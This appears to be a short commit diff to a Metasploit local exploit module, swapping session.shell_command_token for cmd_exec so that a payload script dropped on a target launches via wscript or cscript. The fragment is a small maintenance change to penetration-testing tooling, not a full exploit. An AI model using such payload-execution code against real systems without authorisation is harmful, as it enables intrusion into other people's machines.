Use cmd_exec
parent
31b7ef49d6
commit
7ccc86d338
|
@ -230,9 +230,9 @@ class Metasploit4 < Msf::Exploit::Local
|
||||||
# Error handling for process.execute() can throw a RequestError in send_request.
|
# Error handling for process.execute() can throw a RequestError in send_request.
|
||||||
begin
|
begin
|
||||||
unless datastore['EXE::Custom']
|
unless datastore['EXE::Custom']
|
||||||
session.shell_command_token(script_on_target)
|
cmd_exec("wscript \"#{script_on_target}\"")
|
||||||
else
|
else
|
||||||
session.shell_command_token("cscript \"#{script_on_target}\"")
|
cmd_exec("cscript \"#{script_on_target}\"")
|
||||||
end
|
end
|
||||||
rescue
|
rescue
|
||||||
print_error("Failed to execute payload on target")
|
print_error("Failed to execute payload on target")
|
||||||
|
|
Loading…
Reference in New Issue